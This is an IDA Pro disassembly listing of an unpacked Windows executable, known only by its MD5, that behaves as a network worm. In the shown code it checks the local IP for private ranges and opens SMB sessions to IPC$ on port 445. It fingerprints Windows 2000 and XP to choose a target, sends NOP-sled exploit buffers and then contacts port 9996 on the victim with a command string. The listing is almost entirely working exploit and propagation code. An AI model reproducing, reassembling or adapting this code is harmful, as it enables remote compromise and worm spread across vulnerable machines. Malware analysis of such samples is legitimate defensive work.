;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A0FE60597CC3FA35B40418415B486697

; File Name   :	u:\work\a0fe60597cc3fa35b40418415b486697_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00013000 (  77824.)
; Section size in file		: 00013000 (  77824.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40127D+7Cp
					; sub_401EF0:loc_401F35p ...
		mov	eax, dword_4090C0
		imul	eax, 343FDh
		add	eax, 279EC3h
		mov	dword_4090C0, eax
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40101E	proc near		; CODE XREF: WinMain(x,x,x,x)+1Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4090C0, eax
		retn
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401028	proc near		; CODE XREF: WinMain(x,x,x,x)+24p

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	dword_407150	; WSAStartup
		add	esp, 190h
		retn
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401045	proc near		; CODE XREF: sub_4010D2+4Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_407148	; inet_addr
		movsx	ecx, al
		mov	[ebp+arg_0], eax
		movsx	edx, byte ptr [ebp+arg_0+2]
		movsx	esi, byte ptr [ebp+arg_0+3]
		movsx	edi, ah
		test	ecx, ecx
		mov	eax, 100h
		jge	short loc_40106F
		add	ecx, eax


loc_40106F:				; CODE XREF: sub_401045+26j
		test	edi, edi
		jge	short loc_401075
		add	edi, eax


loc_401075:				; CODE XREF: sub_401045+2Cj
		test	edx, edx
		jge	short loc_40107B
		add	edx, eax


loc_40107B:				; CODE XREF: sub_401045+32j
		test	esi, esi
		jge	short loc_401081
		add	esi, eax


loc_401081:				; CODE XREF: sub_401045+38j
		push	1
		cmp	ecx, 7Fh
		pop	eax
		jnz	short loc_401095
		test	edi, edi
		jnz	short loc_4010CE
		test	edx, edx
		jnz	short loc_4010CE
		cmp	esi, eax
		jz	short loc_4010CC


loc_401095:				; CODE XREF: sub_401045+42j
		cmp	ecx, 0Ah
		jz	short loc_4010CC
		cmp	ecx, 0ACh
		jnz	short loc_4010AC
		cmp	edi, 0Fh
		jle	short loc_4010CE
		cmp	edi, 20h
		jl	short loc_4010CC


loc_4010AC:				; CODE XREF: sub_401045+5Bj
		cmp	ecx, 0C0h
		jnz	short loc_4010BC
		cmp	edi, 0A8h
		jz	short loc_4010CC


loc_4010BC:				; CODE XREF: sub_401045+6Dj
		cmp	ecx, 0A9h
		jnz	short loc_4010CE
		cmp	edi, 0FEh
		jnz	short loc_4010CE


loc_4010CC:				; CODE XREF: sub_401045+4Ej
					; sub_401045+53j ...
		xor	al, al


loc_4010CE:				; CODE XREF: sub_401045+46j
					; sub_401045+4Aj ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_401045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010D2	proc near		; CODE XREF: sub_40127D+9Cp
					; sub_401EF0+1Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	dword_407140	; gethostname
		test	eax, eax
		jnz	short loc_401136
		lea	eax, [ebp+var_100]
		push	eax
		call	dword_40714C	; gethostbyname
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_401136
		mov	eax, [edi+0Ch]
		cmp	[eax], esi
		jz	short loc_401136


loc_401110:				; CODE XREF: sub_4010D2+60j
		mov	eax, [esi+eax]
		push	dword ptr [eax]
		call	dword_407144	; inet_ntoa
		mov	ebx, eax
		push	ebx
		call	sub_401045
		test	al, al
		pop	ecx
		jnz	short loc_40113D
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	dword ptr [esi+eax], 0
		jnz	short loc_401110
		jmp	short loc_401139
; ---------------------------------------------------------------------------


loc_401136:				; CODE XREF: sub_4010D2+20j
					; sub_4010D2+35j ...
		mov	ebx, [ebp+arg_0]


loc_401139:				; CODE XREF: sub_4010D2+62j
		test	ebx, ebx
		jz	short loc_401140


loc_40113D:				; CODE XREF: sub_4010D2+54j
		push	ebx
		jmp	short loc_401145
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: sub_4010D2+69j
		push	offset a127_0_0_1 ; "127.0.0.1"


loc_401145:				; CODE XREF: sub_4010D2+6Cj
		push	[ebp+arg_0]
		call	dword_407018	; lstrcpyA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401153	proc near		; CODE XREF: sub_401EF0+E2p

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	1BDh
		call	dword_407130	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8		; Size
		lea	eax, [ebp+var_8]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 10h
		push	6
		push	1
		pop	ebx
		push	ebx
		push	2
		call	dword_407134	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4011B4
		xor	al, al
		jmp	short loc_4011D1
; ---------------------------------------------------------------------------


loc_4011B4:				; CODE XREF: sub_401153+5Bj
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		call	dword_407138	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4011C8
		xor	bl, bl


loc_4011C8:				; CODE XREF: sub_401153+71j
		push	esi
		call	dword_40713C	; closesocket
		mov	al, bl


loc_4011D1:				; CODE XREF: sub_401153+5Fj
		pop	esi
		pop	ebx
		leave
		retn
sub_401153	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011D5	proc near		; CODE XREF: sub_401153+30p
					; sub_40127D+34p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	dword_407148	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4011F2
		test	esi, esi
		jnz	short loc_401204
		cmp	byte ptr [edi],	30h
		jz	short loc_40120B


loc_4011F2:				; CODE XREF: sub_4011D5+12j
		push	edi
		call	dword_40714C	; gethostbyname
		test	eax, eax
		jz	short loc_401204
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]


loc_401204:				; CODE XREF: sub_4011D5+16j
					; sub_4011D5+26j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40120B
		xor	esi, esi


loc_40120B:				; CODE XREF: sub_4011D5+1Bj
					; sub_4011D5+32j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4011D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401210	proc near		; CODE XREF: sub_40127D+F9p

Str		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		inc	dword_4090C4
		push	edi
		push	dword_4090C4
		lea	eax, [ebp+Str]
		push	offset aI	; "%i"
		push	eax
		call	dword_407118	; wsprintfA
		add	esp, 0Ch
		push	0
		push	offset aCWin2_log ; "c:\\win2.log"
		call	dword_407024	; _lcreat
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40127A
		lea	eax, [ebp+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		mov	esi, dword_407020
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	esi	; _lwrite
		push	[ebp+arg_0]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	esi	; _lwrite
		push	edi
		call	dword_40701C	; _lclose
		pop	esi


loc_40127A:				; CODE XREF: sub_401210+37j
		pop	edi
		leave
		retn
sub_401210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40127D	proc near		; CODE XREF: sub_401A84+7Bp

var_348		= dword	ptr -348h
Str		= byte ptr -33Ch
var_110		= byte ptr -110h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	270Ch
		call	dword_407130	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4011D5
		mov	[ebp+var_C], eax
		push	8		; Size
		lea	eax, [ebp+var_8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 10h
		push	6
		push	1
		push	2
		call	dword_407134	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4012E2
		xor	al, al
		jmp	loc_401394
; ---------------------------------------------------------------------------


loc_4012E2:				; CODE XREF: sub_40127D+5Cj
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_407138	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40138B
		push	esi
		call	sub_401000
		mov	esi, eax
		lea	eax, [ebp+var_110]
		push	offset Source
		push	eax
		call	dword_407018	; lstrcpyA
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4010D2
		push	esi
		lea	eax, [ebp+var_110]
		push	esi
		push	eax
		push	off_408030
		lea	eax, [ebp+Str]
		push	eax
		call	dword_407118	; wsprintfA
		lea	eax, [ebp+Str]
		xor	esi, esi
		push	eax		; Str
		call	_strlen
		add	esp, 1Ch
		test	eax, eax
		jbe	short loc_401373


loc_40134F:				; CODE XREF: sub_40127D+F4j
		push	ebx
		lea	eax, [ebp+esi+Str]
		push	1
		push	eax
		push	edi
		call	dword_40712C	; send
		lea	eax, [ebp+Str]
		inc	esi
		push	eax		; Str
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_40134F


loc_401373:				; CODE XREF: sub_40127D+D0j
		push	[ebp+arg_0]
		call	sub_401210
		mov	[esp+348h+var_348], 3E8h
		call	dword_407028	; Sleep
		mov	bl, 1
		pop	esi


loc_40138B:				; CODE XREF: sub_40127D+75j
		push	edi
		call	dword_40713C	; closesocket
		mov	al, bl


loc_401394:				; CODE XREF: sub_40127D+60j
		pop	edi
		pop	ebx
		leave
		retn
sub_40127D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401398	proc near		; CODE XREF: sub_401A84+15p

var_744		= byte ptr -744h
var_714		= byte ptr -714h
Src		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
Str		= byte ptr -3Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
Dst		= byte ptr -0Ch
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 744h
		push	ebx
		push	esi
		push	edi
		push	offset Source
		push	[ebp+arg_4]
		call	dword_407018	; lstrcpyA
		push	[ebp+arg_0]
		lea	eax, [ebp+Str]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	dword_407118	; wsprintfA
		add	esp, 0Ch
		xor	edi, edi
		xor	ecx, ecx
		lea	eax, [ebp+var_103]


loc_4013D1:				; CODE XREF: sub_401398+49j
		mov	dl, [ebp+ecx+Str]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4013D1
		push	60h		; Size
		lea	eax, [ebp+var_B4]
		push	offset dword_4083E4 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	eax, 1
		push	eax		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_84]
		push	eax		; Dst
		call	_memcpy
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	9		; Size
		push	(offset	aC+3)	; Src
		push	eax		; Str
		call	_strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		add	al, 1Ah
		push	1		; Size
		shl	al, 1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax		; Src
		lea	eax, [ebp+var_B1]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	al, 1
		add	al, 9
		push	1		; Size
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax		; Src
		lea	eax, [ebp+var_87]
		push	eax		; Dst
		call	_memcpy
		add	esp, 2Ch
		push	[ebp+arg_0]
		call	dword_40714C	; gethostbyname
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_401554
		push	edi
		push	1
		push	2


loc_401495:				; DATA XREF: .text:off_4085D8o
		call	dword_407134	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_401554
		push	1BDh
		mov	[ebp+var_14], 2
		call	dword_407130	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebx+0Ch]
		push	8		; Size
		push	edi		; Val
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_407138	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		mov	ebx, dword_40712C
		push	edi
		push	89h
		push	offset dword_4081CC
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_407128
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_408258
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401554
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_408304
		push	[ebp+arg_0]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401558


loc_401554:				; CODE XREF: sub_401398+F2j
					; sub_401398+10Bj ...
		xor	eax, eax
		jmp	short loc_401599
; ---------------------------------------------------------------------------


loc_401558:				; CODE XREF: sub_401398+1BAj
		push	0
		lea	eax, [ebp+var_744]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		push	46h
		lea	esi, [ebp+var_714]
		pop	edi


loc_401570:				; CODE XREF: sub_401398+1F3j
		movsx	eax, byte ptr [esi]
		push	eax
		push	[ebp+arg_4]
		push	offset aSC	; "%s%c"
		push	[ebp+arg_4]
		call	dword_407118	; wsprintfA
		add	esp, 10h
		inc	esi
		inc	esi
		dec	edi
		jnz	short loc_401570
		push	[ebp+arg_0]
		call	dword_40713C	; closesocket
		push	1
		pop	eax


loc_401599:				; CODE XREF: sub_401398+1BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40159E	proc near		; CODE XREF: sub_401A84+3Bp
					; sub_401A84+5Ep ...

var_89C4	= byte ptr -89C4h
var_895C	= byte ptr -895Ch
var_68EC	= byte ptr -68ECh
var_687C	= byte ptr -687Ch
var_5DB8	= byte ptr -5DB8h
var_4814	= byte ptr -4814h
var_4813	= byte ptr -4813h
var_3780	= byte ptr -3780h
var_2CBC	= byte ptr -2CBCh
var_2CBB	= byte ptr -2CBBh
var_2CB8	= byte ptr -2CB8h
var_24D4	= byte ptr -24D4h
var_24C4	= byte ptr -24C4h
var_21A0	= byte ptr -21A0h
var_219C	= byte ptr -219Ch
var_2190	= byte ptr -2190h
var_1F08	= byte ptr -1F08h
var_1E8C	= byte ptr -1E8Ch
var_16BC	= byte ptr -16BCh
var_1211	= byte ptr -1211h
var_F24		= byte ptr -0F24h
var_E84		= byte ptr -0E84h
var_778		= dword	ptr -778h
var_768		= byte ptr -768h
var_754		= byte ptr -754h
Src		= byte ptr -114h
var_113		= byte ptr -113h
Dst		= byte ptr -0C4h
var_C1		= byte ptr -0C1h
var_97		= byte ptr -97h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
Str		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 89C4h
		call	__alloca_probe
		mov	eax, dword_408A34
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, dword_408A38
		mov	[ebp+var_10], eax
		lea	eax, [ebp+Str]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	dword_407118	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_113]


loc_4015D8:				; CODE XREF: sub_40159E+4Aj
		mov	dl, [ebp+ecx+Str]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4015D8
		push	ebx
		push	esi
		push	edi
		push	60h		; Size
		lea	eax, [ebp+Dst]
		push	offset dword_4083E4 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	eax, 1
		push	eax		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	9		; Size
		push	(offset	aC+3)	; Src
		push	eax		; Str
		call	_strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_95]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		add	al, 1Ah
		push	1		; Size
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax		; Src
		lea	eax, [ebp+var_C1]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	al, 1
		add	al, 9
		push	1		; Size
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax		; Src
		lea	eax, [ebp+var_97]
		push	eax		; Dst
		call	_memcpy
		add	esp, 2Ch
		push	270Ch
		call	dword_407130	; ntohs
		xor	eax, 9999h
		push	2		; Size
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax		; Src
		push	offset dword_4080E4 ; Dst
		call	_memcpy
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		cmp	ebx, 1
		jz	short loc_40171A
		cmp	ebx, 2
		jz	short loc_40171A
		push	7D0h		; Size
		lea	eax, [ebp+var_F24]
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, offset Str	; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_E84]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	eax		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_14]
		push	eax		; Src
		lea	eax, [ebp+var_768]
		push	eax		; Dst
		call	_memcpy
		add	esp, 2Ch
		imul	ebx, 3Ch
		mov	eax, dword_408810[ebx]
		mov	[ebp+var_778], eax
		jmp	loc_4017EE
; ---------------------------------------------------------------------------


loc_40171A:				; CODE XREF: sub_40159E+115j
					; sub_40159E+11Aj
		mov	edi, 0DACh
		lea	eax, [ebp+var_2CB8]
		push	edi		; Size
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		imul	ebx, 3Ch
		push	4		; Size
		lea	eax, [ebp+var_24D4]
		lea	ebx, dword_408810[ebx]
		push	ebx		; Src
		push	eax		; Dst
		call	_memcpy
		mov	esi, offset Str	; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_24C4]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_21A0]
		push	offset dword_408A2C ; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_219C]
		push	ebx		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 40h
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_2190]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4813]


loc_4017A6:				; CODE XREF: sub_40159E+21Aj
		mov	dl, [ebp+ecx+var_2CB8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_4017A6
		and	[ebp+var_2CBC],	0
		and	[ebp+var_2CBB],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89C4]
		push	esi		; Size
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		push	esi		; Size
		lea	eax, [ebp+var_68EC]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h


loc_4017EE:				; CODE XREF: sub_40159E+177j
		push	0
		push	1
		push	2
		call	dword_407134	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_401A7D
		push	1BDh
		mov	[ebp+var_24], 2
		call	dword_407130	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_22], ax
		call	sub_4011D5
		mov	[ebp+var_20], eax
		xor	ebx, ebx
		push	8		; Size
		lea	eax, [ebp+var_1C]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 10h
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_407138	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		mov	esi, dword_40712C
		push	ebx
		push	89h
		push	offset dword_4081CC
		push	edi
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	ebx
		mov	ebx, 640h
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	edi
		mov	edi, dword_407128
		call	edi	; recv
		push	0
		push	0A8h
		push	offset dword_408258
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0DEh
		push	offset dword_408304
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_408448
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_4084B4
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	[ebp+arg_4], 1
		jz	short loc_4019BB
		cmp	[ebp+arg_4], 2
		jz	short loc_4019BB
		push	7Ch		; Size
		lea	eax, [ebp+var_1F08]
		push	offset dword_408558 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_F24]
		push	7D0h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_1E8C]
		push	eax		; Dst
		call	_memcpy
		push	90h		; Size
		lea	eax, [ebp+var_16BC]
		push	offset off_4085D8 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		and	[ebp+var_1211],	0
		lea	eax, [ebp+var_1F08]
		push	0
		push	0CF8h
		jmp	loc_401A5E
; ---------------------------------------------------------------------------


loc_4019BB:				; CODE XREF: sub_40159E+3B8j
					; sub_40159E+3BEj
		push	68h		; Size
		lea	eax, [ebp+var_89C4]
		push	offset dword_40866C ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_4814]
		push	1B5Ah		; Size
		push	eax		; Src
		lea	eax, [ebp+var_895C]
		push	eax		; Dst
		call	_memcpy
		push	70h		; Size
		lea	eax, [ebp+var_68EC]
		push	offset dword_4086D8 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_3780]
		push	0A5Eh		; Size
		push	eax		; Src
		lea	eax, [ebp+var_687C]
		push	eax		; Dst
		call	_memcpy
		push	84h		; Size
		lea	eax, [ebp+var_5DB8]
		push	offset dword_40874C ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89C4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	0
		lea	eax, [ebp+var_754]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68EC]


loc_401A5E:				; CODE XREF: sub_40159E+418j
		push	eax
		push	[ebp+var_4]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A7D
		push	3E8h
		call	dword_407028	; Sleep
		push	[ebp+var_4]
		call	dword_40713C	; closesocket


loc_401A7D:				; CODE XREF: sub_40159E+264j
					; sub_40159E+2ABj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40159E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A84	proc near		; CODE XREF: WinMain(x,x,x,x)+3Ap

Str		= byte ptr -84h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+Str]
		push	eax
		push	esi
		call	sub_401398
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401B05
		lea	eax, [ebp+Str]
		push	offset SubStr	; "5.1"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AC8
		push	0
		push	esi
		call	sub_40159E
		push	0
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AC8:				; CODE XREF: sub_401A84+36j
		lea	eax, [ebp+Str]
		push	offset a5_0	; "5.0"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401AEB
		push	1
		push	esi
		call	sub_40159E
		push	1
		jmp	short loc_401AF5
; ---------------------------------------------------------------------------


loc_401AEB:				; CODE XREF: sub_401A84+59j
		push	2
		push	esi
		call	sub_40159E
		push	2


loc_401AF5:				; CODE XREF: sub_401A84+42j
					; sub_401A84+65j
		push	esi
		call	sub_40159E
		add	esp, 10h
		push	esi
		call	sub_40127D
